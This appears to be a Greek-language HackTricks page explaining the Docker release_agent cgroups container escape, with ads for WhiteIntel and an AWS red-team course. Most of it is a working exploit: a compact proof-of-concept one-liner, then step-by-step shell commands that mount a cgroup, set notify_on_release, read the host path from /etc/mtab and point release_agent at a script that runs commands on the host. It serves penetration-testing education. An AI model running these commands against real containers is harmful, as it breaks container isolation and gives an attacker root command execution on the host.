Docker release_agent cgroups escape

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:


Για περισσότερες λεπτομέρειες, ανατρέξτε στην αρχική ανάρτηση στο blog. Αυτό είναι απλώς ένα σύνοψη:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Η απόδειξη του concept (PoC) δείχνει έναν τρόπο εκμετάλλευσης των cgroups με τη δημιουργία ενός αρχείου release_agent και την ενεργοποίηση της κλήσης του για να εκτελέσει αυθαίρετες εντολές στον υπολογιστή-φιλοξενητή του container. Εδώ υπάρχει μια ανάλυση των βημάτων που εμπλέκονται:

  1. Προετοιμασία του Περιβάλλοντος:

  • Δημιουργείται ένας κατάλογος /tmp/cgrp για να λειτουργήσει ως σημείο προσάρτησης για το cgroup.

  • Ο ελεγκτής cgroup RDMA προσαρτάται σε αυτόν τον κατάλογο. Σε περίπτωση απουσίας του ελεγκτή RDMA, προτείνεται η χρήση του ελεγκτή cgroup memory ως εναλλακτική λύση.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Δημιουργία του Παιδικού Cgroup:

    • Δημιουργείται ένα παιδικό cgroup με το όνομα "x" εντός του καταλόγου cgroup που έχει τοποθετηθεί.

    • Ενεργοποιούνται οι ειδοποιήσεις για το cgroup "x" γράφοντας τον αριθμό 1 στο αρχείο notify_on_release του.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Διαμόρφωση του Παράγοντα Απελευθέρωσης:

    • Η διαδρομή του container στον host λαμβάνεται από το αρχείο /etc/mtab.

    • Στη συνέχεια, το αρχείο release_agent του cgroup διαμορφώνεται ώστε να εκτελέσει ένα σενάριο με το όνομα /cmd που βρίσκεται στην αποκτηθείσα διαδρομή του host.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Δημιουργία και Ρύθμιση του Σεναρίου /cmd:

    • Το σενάριο /cmd δημιουργείται μέσα στο container και ρυθμίζεται να εκτελεί την εντολή ps aux, με την έξοδο να ανακατευθύνεται σε ένα αρχείο με όνομα /output στο container. Καθορίζεται ο πλήρης διαδρομής του /output στον host.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Εκκίνηση της Επίθεσης:

    • Ένας διεργασία ξεκινάει μέσα στο παιδί cgroup "x" και τερματίζεται αμέσως.

    • Αυτό ενεργοποιεί το release_agent (το σενάριο /cmd), το οποίο εκτελεί την εντολή ps aux στον κεντρικό υπολογιστή και γράφει την έξοδο στο /output μέσα στο container.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στο:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated